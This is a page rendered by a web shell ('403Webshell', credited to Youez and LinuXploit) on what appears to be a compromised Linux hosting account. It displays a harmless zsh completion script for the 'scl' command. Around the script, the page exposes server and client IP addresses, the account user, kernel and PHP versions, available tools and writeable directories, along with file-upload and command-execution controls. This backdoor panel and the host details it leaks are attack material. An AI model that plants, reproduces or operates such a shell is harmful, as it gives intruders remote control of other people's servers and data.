403Webshell
Server IP : 74.208.236.79  /  Your IP : 216.73.216.233
Web Server : Apache
System : Linux infongp-us50 4.4.400-icpu-108 #2 SMP Wed Feb 11 10:12:42 UTC 2026 x86_64
User : u93192080 ( 6162215)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/usr/share/zsh/functions/Completion/Redhat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/usr/share/zsh/functions/Completion/Redhat/_scl
#compdef scl

local curcontext="$curcontext" dashes ret=1
local -a state line force alts cmd

[[ $words[2] = deregister ]] &&
    force=( '--force[deregister even SCL installed as packages]' )

_arguments -C $force \
  '(- 1)'{-l,--list}'[list installed software collections or packages within a collection]' \
  '(-l --list)1:action:(enable run load unload list-collections list-enabled list-packages man register deregister)' \
  '(- *)--help' \
  '(-)*:collections:->collections' && ret=0

if [[ -n $state ]]; then
  (( $#line > 1 )) && curcontext="${curcontext%:*}-$line[1]:"
  if [[ $line[1] = register ]]; then
    _directories -P / -W /
    return
  fi
  if (( ${dashes:=$words[(I)--]} )); then
    shift dashes words
    (( CURRENT -= dashes ))
    _normal
    return
  fi
  if [[ $CURRENT -gt 3 && $words[CURRENT] = - ]]; then
    compadd - --
    return
  fi
  [[ $line[1] = enable && $CURRENT -gt 3 ]] &&
    cmd='command:command:_cmdstring'

  _alternative 'collections:collection:compadd
      $(_call_program collections "${words[1]} list-collections || ${words[1]} -l")' \
      $cmd && ret=0
fi

return ret

Youez - 2016 - github.com/yon3zu
LinuXploit